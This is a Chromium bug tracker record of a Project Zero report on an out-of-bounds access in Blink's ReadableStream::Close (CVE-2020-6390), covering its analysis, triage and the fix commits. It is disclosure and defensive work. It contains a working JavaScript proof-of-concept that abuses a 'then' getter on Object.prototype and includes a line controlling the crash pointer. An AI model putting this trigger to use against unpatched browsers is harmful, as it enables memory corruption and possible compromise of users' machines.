☆ Starred by 5 users

Owner:	🕐 yhirano@chromium.org **inactive**
CC:	🕐 glazunov@google.com adetaylor@chromium.org agrieve@google.com 🕐 jbroman@google.com domenic@chromium.org 🕐 ricea@chromium.org awhalley@google.com dullweber@chromium.org achuith@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>Network>StreamsAPI
Modified:	May 6, 2020
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, Chrome, Mac, Fuchsia
Pri:	1
Type:	Bug-Security

Needs-Feedback
Security_Impact-Stable
M-80
Security_Severity-High
ReleaseBlock-Stable
allpublic
ClusterFuzz-Wrong
CVE_description-submitted
Target-79
Target-80
M-79
VulnerabilityAnalysis-Requested
VulnerabilityAnalysis-Submitted
merge-merged-3987
merge-merged-80
merge-merged-4040
Release-0-M80
CVE-2020-6390

Issue 1045874: Security: OOB access in ReadableStream::Close

Reported by glazunov@google.com on Mon, Jan 27, 2020, 5:43 AM EST   Project Member

🔗 Code

VULNERABILITY DETAILS

https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/readable_stream.cc?rcl=f8564dc434d8d2823a8c6441df5a198b1671cf36&l=1731

```
void ReadableStream::Close(ScriptState* script_state, ReadableStream* stream) {
  // https://streams.spec.whatwg.org/#readable-stream-close
  // 1. Assert: stream.[[state]] is "readable".
  DCHECK_EQ(stream->state_, kReadable);

  // 2. Set stream.[[state]] to "closed".
  stream->state_ = kClosed; // *** 1 ***

  // 3. Let reader be stream.[[reader]].
  ReadableStreamReader* reader = stream->reader_;

  // 4. If reader is undefined, return.
  if (!reader) {
    return;
  }

  // TODO(ricea): Support BYOB readers.
  // 5. If ! IsReadableStreamDefaultReader(reader) is true,
  //   a. Repeat for each readRequest that is an element of reader.
  //      [[readRequests]],
  for (StreamPromiseResolver* promise : reader->read_requests_) {
    //   i. Resolve readRequest.[[promise]] with !
    //      ReadableStreamCreateReadResult(undefined, true, reader.
    //      [[forAuthorCode]]).
    promise->Resolve(script_state, // *** 2 ***
              CreateReadResult(script_state, // *** 3 ***
                      v8::Undefined(script_state->GetIsolate()),
                      true, reader->for_author_code_));
  }

  //   b. Set reader.[[readRequests]] to an empty List.
  reader->read_requests_.clear(); // *** 4 ***

  // 6. Resolve reader.[[closedPromise]] with undefined.
  reader->closed_promise_->ResolveWithUndefined(script_state);
}
```

`ReadableStream::Close` iterates through the elements of the `read_requests_` container and resolves
the associated JavaScript promise for each of them[2]. Promise resolution may invoke an attacker's
JavaScript code since the ECMAScript specification requires the method to synchronously access the
`then` property of the resolution object, and the attacker can define an accessor for the property
on `Object.prototype`, which will in the prototype chain of an object returned by

`CreateReadResult`[3].

If the attacker modifies `read_requests_` from inside the accessor, the iterator for the range based
loop will become invalid, and subsequent iterations will result in out-of-bounds access. The most
obvious means (like calling `cancel` on the reader object) won't work because the state of the
stream has been already set to `kClosed`[1] by the time the accessor is executed. However, there are
several methods that don't check that state property, for example, `ReadableStream::tee` allows the
attacker to re-enter `Close` and clear the backing store of the container.

Note that the test case for this bug (except the line that allows the attacker to control the crash
pointer) is already publicly available as it was originally reported in February 2019 as a part of
~~https://crbug.com/934640~~. This vulnerability is different, though. It is a regression, which
occurred when the JavaScript implementation of WHATWG Streams got replaced with the C++ one.

As an immediate fix we can move the contents of `read_requests_` into a local container before the
loop and add additional checks to `tee` to prevent `ReadableStream::Close` from re-entering, but it
is necessary to investigate other call paths where the state property isn't taken into account.

VERSION
Google Chrome 79.0.3945.130 (Official Build) (64-bit)
Chromium 81.0.4036.0 (Developer Build) (64-bit)

REPRODUCTION CASE
```
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  } });
}

runOutsideMicrotasksScope (() => {
  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  let request_count = 0x313370 / 8 + 1; // controls the pointer
  for (let i = 0; i < request_count; ++i)
    reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", () => {
    if (++then_counter == request_count - 1) {
      controller.close();
      performMicrotaskCheckpoint();
    }
  });
  reader.cancel();
});
</script>
</body>
```

The test case hits the following DCHECK in a debug build:
```
[10521:1:0127/111410.082494:FATAL:readable_stream_default_controller.cc(114)] Check failed: CanCloseOrEnqueue(controller).
[...]
    #5 0x7f5c3441309a in blink::ReadableStreamDefaultController::Close(blink::ScriptState*, blink::ReadableStreamDefaultController*)
../../../third_party/blink/renderer/core/streams/readable_stream_default_controller.cc:114:3
    #6 0x7f5c34405d50 in blink::ReadableStream::TeeEngine::PullAlgorithm::ResolveFunction::CallWithLocal(v8::Local<v8::Value>)
../../../third_party/blink/renderer/core/streams/readable_stream.cc:857:13
```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will
become visible to the public. The scheduled disclosure date is 2020-04-26. Disclosure at an earlier
date is also possible if agreed upon by all parties.

> **asan.log**
> 9.7 KB   View   Download

> **patch.diff**
> 2.6 KB   View   Download

Comment 1 by adetaylor@google.com on Mon, Jan 27, 2020, 9:26 AM EST

Status: Assigned (was: Unconfirmed)
Owner: yhirano@chromium.org
Cc: ricea@chromium.org dullweber@chromium.org domenic@chromium.org
Labels: Security_Impact-Stable Security_Severity-High OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows Pri-0
Components: Blink>Network>StreamsAPI

This is severity High, but marking as Priority 0 because Project Zero have given evidence that this may well be under exploitation in the wild. We should definitely aim to get
the fix into M80 initial release.

Let's use this crbug to track the urgent fix. I'll file a follow-up crbug for follow-up actions such as checking other code paths.

Thanks glazunov!

Comment 2 by ClusterFuzz on Mon, Jan 27, 2020, 9:27 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4632731818459136.

Comment 3 by adetaylor@google.com on Mon, Jan 27, 2020, 9:34 AM EST

Filed ~~issue 1045931~~ to represent checking correct states in general. Let's use this issue (1045874) for the immediate urgent fix and the new issue (1045931) for wider checks for similar problems. It may be that the latter crbug becomes WontFix if we get the entire fix out in this crbug.

Comment 4 by ClusterFuzz on Mon, Jan 27, 2020, 10:02 AM EST

Testcase 4632731818459136 failed to reproduce the crash. Please inspect the program output at https://clusterfuzz.com/testcase?key=4632731818459136.

Comment 5 by ClusterFuzz on Mon, Jan 27, 2020, 10:13 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5875813717180416.

Comment 6 by ClusterFuzz on Mon, Jan 27, 2020, 10:22 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4926245236178944.

Comment 7 by ClusterFuzz on Mon, Jan 27, 2020, 10:28 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6471329924579328.

Comment 8 by sheriffbot@chromium.org on Mon, Jan 27, 2020, 11:13 AM EST

Labels: Target-79 M-79

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 9 by ClusterFuzz on Mon, Jan 27, 2020, 11:36 AM EST

Testcase 6471329924579328 failed to reproduce the crash. Please inspect the program output at https://clusterfuzz.com/testcase?key=6471329924579328.

Comment 10 by ClusterFuzz on Mon, Jan 27, 2020, 11:41 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4885933025460224.

Comment 11 by ClusterFuzz on Mon, Jan 27, 2020, 11:42 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6040106702012416.

Comment 12 by mmoroz@chromium.org on Mon, Jan 27, 2020, 11:42 AM EST

Sorry for the spam. CF seems to be in a bad mood today and doesn't want to reproduce this, but I keep trying.

Comment 13 by sheriffbot@chromium.org on Mon, Jan 27, 2020, 11:53 AM EST

Labels: -Pri-0 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 14 by srinivassista@google.com on Mon, Jan 27, 2020, 12:01 PM EST

Labels: Target-80 ReleaseBlock-Stable

Comment 15 by gov...@chromium.org on Mon, Jan 27, 2020, 12:29 PM EST

Labels: M-80

Comment 16 by awhalley@google.com on Mon, Jan 27, 2020, 1:17 PM EST

Cc: agrieve@google.com jbroman@google.com awhalley@google.com

Comment 17 by ClusterFuzz on Mon, Jan 27, 2020, 1:43 PM EST

Testcase 6040106702012416 failed to reproduce the crash. Please inspect the program output at https://clusterfuzz.com/testcase?key=6040106702012416.

Comment 18 by ClusterFuzz on Mon, Jan 27, 2020, 1:47 PM EST

Testcase 4885933025460224 failed to reproduce the crash. Please inspect the program output at https://clusterfuzz.com/testcase?key=4885933025460224.

Comment 19 by adetaylor@google.com on Mon, Jan 27, 2020, 2:50 PM EST

Cc: adetaylor@chromium.org

Comment 20 by bugdroid on Mon, Jan 27, 2020, 5:40 PM EST

The following revision refers to this bug:

    https://chromium.googlesource.com/chromium/src.git/+/12310ed05f15fea5fa6824c6a6b5d86f81532e25

commit 12310ed05f15fea5fa6824c6a6b5d86f81532e25
Author: Jeremy Roman <jbroman@chromium.org>
Date: Mon Jan 27 22:39:58 2020

Move ReadableStream requests onto the stack before iteration.

This might be subject to concurrent modification by script.

Contributed-by: Sergei Glazunov <glazunov@google.com>
~~Bug: 1045874~~
Change-Id: I27f75b8a4db924bb4fe471abca439cbbe7948c3c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2023354
Commit-Queue: Jeremy Roman <jbroman@chromium.org>
Commit-Queue: Domenic Denicola <domenic@chromium.org>
Auto-Submit: Jeremy Roman <jbroman@chromium.org>
Reviewed-by: Domenic Denicola <domenic@chromium.org>
Cr-Commit-Position: refs/heads/master@{#735607}

[modify] https://crrev.com/12310ed05f15fea5fa6824c6a6b5d86f81532e25/third_party/blink/renderer/core/streams/readable_stream.cc
[add] https://crrev.com/12310ed05f15fea5fa6824c6a6b5d86f81532e25/third_party/blink/web_tests/http/tests/streams/chromium/concurrent-close.html

Comment 21 by bugdroid on Mon, Jan 27, 2020, 5:49 PM EST

Labels: merge-merged-4040

The following revision refers to this bug:

    https://chromium.googlesource.com/chromium/src.git/+/9696e5823214e9e477a31ab3f3bae6efc73cb11b

commit 9696e5823214e9e477a31ab3f3bae6efc73cb11b
Author: Jeremy Roman <jbroman@chromium.org>
Date: Mon Jan 27 22:47:16 2020

Move ReadableStream requests onto the stack before iteration.

This might be subject to concurrent modification by script.

Contributed-by: Sergei Glazunov <glazunov@google.com>
~~Bug: 1045874~~
Change-Id: I27f75b8a4db924bb4fe471abca439cbbe7948c3c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2023363
Reviewed-by: Krishna Govind <govind@chromium.org>
Cr-Commit-Position: refs/branch-heads/4040@{#11}
Cr-Branched-From: 88d2d6b0f91738730556df1bf6f5db6c4fd73bd5-refs/heads/master@{#735306}

[modify] https://crrev.com/9696e5823214e9e477a31ab3f3bae6efc73cb11b/third_party/blink/renderer/core/streams/readable_stream.cc
[add] https://crrev.com/9696e5823214e9e477a31ab3f3bae6efc73cb11b/third_party/blink/web_tests/http/tests/streams/chromium/concurrent-close.html

  Comment 22 Deleted

  Comment 23 Deleted

  Comment 24 by ricea@chromium.org on Mon, Jan 27, 2020, 9:48 PM EST
 Cc: glazunov@google.com
~~Issue 1046170~~ has been merged into this issue.

  Comment 25 by srinivassista@google.com on Tue, Jan 28, 2020, 11:07 AM EST
pls verify the fix is working as intended on canary channel so we can get this merged to M80 branch today before 12pm PST for stable RC cut

  Comment 26 by ClusterFuzz on Tue, Jan 28, 2020, 12:02 PM EST
 Labels: -Security_Impact-Stable Security_Impact-Head

Detailed Report: https://clusterfuzz.com/testcase?key=5875813717180416

Fuzzer:
Job Type: android_asan_chrome_latest
Platform Id: android:walleye:p

Crash Type: UNKNOWN READ
Crash Address: 0x001899b8
Crash State:
  blink::ReadableStream::Close
  pthread_create
  art::Thread::CreateNativeThread

Sanitizer: address (ASAN)

Recommended Security Severity: Medium

Crash Revision: https://clusterfuzz.com/revisions?job=android_asan_chrome_latest&revision=673513

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5875813717180416

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone https://github.com/google/clusterfuzz && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t https://clusterfuzz.com/testcase-detail/5875813717180416 -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at
https://forms.gle/Yh3qCYFveHj6E5jz5 so we can improve.

The recommended severity (Security_Severity-Medium) is different from what was assigned to the bug. Please double check the accuracy of the assigned severity.

  Comment 27 by adetaylor@google.com on Tue, Jan 28, 2020, 12:14 PM EST
 Status: Fixed (was: Assigned)
 Labels: -Security_Impact-Head Security_Impact-Stable ClusterFuzz-Wrong
I'm going to mark this as Fixed so that merge processes can start. Follow-up work can happen in ~~issue 1045031~~.

Also, I don't believe the ClusterFuzz deduction of Security_Impact-Head so I'm undoing that.

  Comment 28 by sheriffbot@chromium.org on Tue, Jan 28, 2020, 12:17 PM EST
 Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

  Comment 29 by gov...@chromium.org on Tue, Jan 28, 2020, 12:20 PM EST
 Labels: Merge-Approved-80
Approving merge to M80 branch 3987 based on comment #27. Please merge if change continue to look good in canary.

  Comment 30 by jbroman@chromium.org on Tue, Jan 28, 2020, 1:28 PM EST
Not seeing any new crashes that look relevant. Given the patch looked okay to ricea@, deadline in #25 and Tokyo being asleep until after 12pm PST, I'll merge to 3987.

  Comment 31 by gov...@chromium.org on Tue, Jan 28, 2020, 1:30 PM EST
Re #30, thank you for checking canary. Please move forward with M80 merge.

  Comment 32 by jbroman@chromium.org on Tue, Jan 28, 2020, 1:34 PM EST
Cherry pick is in the M80 branch CQ: https://chromium-review.googlesource.com/c/chromium/src/+/2025573

  Comment 33 by bugdroid on Tue, Jan 28, 2020, 3:02 PM EST
 Labels: -merge-approved-80 merge-merged-3987 merge-merged-80
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/45dcceba6963cf32d3205a5834231780cee55a82

commit 45dcceba6963cf32d3205a5834231780cee55a82
Author: Jeremy Roman <jbroman@chromium.org>
Date: Tue Jan 28 19:57:55 2020

Move ReadableStream requests onto the stack before iteration.

This might be subject to concurrent modification by script.

(cherry picked from commit 12310ed05f15fea5fa6824c6a6b5d86f81532e25)

Contributed-by: Sergei Glazunov <glazunov@google.com>
~~Bug: 1045874~~
Change-Id: I27f75b8a4db924bb4fe471abca439cbbe7948c3c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2023354
Commit-Queue: Jeremy Roman <jbroman@chromium.org>
Commit-Queue: Domenic Denicola <domenic@chromium.org>
Auto-Submit: Jeremy Roman <jbroman@chromium.org>
Reviewed-by: Domenic Denicola <domenic@chromium.org>
Tbr: ricea@chromium.org
Cr-Original-Commit-Position: refs/heads/master@{#735607}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2025573
Reviewed-by: Jeremy Roman <jbroman@chromium.org>
Cr-Commit-Position: refs/branch-heads/3987@{#731}
Cr-Branched-From: c4e8da9871cc266be74481e212f3a5252972509d-refs/heads/master@{#722274}

[modify] https://crrev.com/45dcceba6963cf32d3205a5834231780cee55a82/third_party/blink/renderer/core/streams/readable_stream.cc
[add] https://crrev.com/45dcceba6963cf32d3205a5834231780cee55a82/third_party/blink/web_tests/http/tests/streams/chromium/concurrent-close.html

Comment 34 by glazunov@google.com on Wed, Jan 29, 2020, 8:21 AM EST   Project Member
As a follow-up to comment #1 above, please note that Project Zero does *not* have evidence that this is being actively exploited in the wild (otherwise we would have reported it under a 7-day deadline).

A concern is that the test case in ~~issue 931640~~ triggers this different vulnerability. This new vulnerability becomes quite obvious once you've seen the crashing line, so I still support fixing this expediently in case there is exploitation in the wild.

Comment 35 by adetaylor@google.com on Sat, Feb 1, 2020, 8:13 PM EST
Labels: Release-0-M80

Comment 36 by adetaylor@chromium.org on Mon, Feb 3, 2020, 6:46 PM EST
Labels: CVE-2020-6390 CVE_description-missing

Comment 37 by mmoroz@google.com on Tue, Feb 4, 2020, 11:54 AM EST
Labels: VulnerabilityAnalysis-Requested
yhirano@, thank you for fixing this issue. Chrome Security team needs your knowledge to prevent that whole class of bugs from happening elsewhere. We would greatly appreciate if you could tell us more about the issue by filling out the following form: https://forms.gle/VWKDUv9a8GXCCRWm7

Comment 38 by ClusterFuzz on Tue, Feb 4, 2020, 5:27 PM EST
Labels: Needs-Feedback
ClusterFuzz testcase 5875813717180416 is still reproducing on tip-of-tree build (trunk).

Please re-test your fix against this testcase and if the fix was incorrect or incomplete, please re-open the bug. Otherwise, ignore this notification and add the ClusterFuzz-Wrong label.

Comment 39 by mmoroz@google.com on Wed, Feb 5, 2020, 5:00 PM EST
Labels: VulnerabilityAnalysis-Submitted

Comment 40 by adetaylor@chromium.org on Mon, Feb 10, 2020, 4:37 PM EST
Labels: -CVE_description-missing CVE_description-submitted

Comment 41 by adetaylor@google.com on Wed, Mar 4, 2020, 1:44 PM EST
Cc: achuith@chromium.org

Comment 42 by sheriffbot on Wed, May 6, 2020, 2:55 PM EDT
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot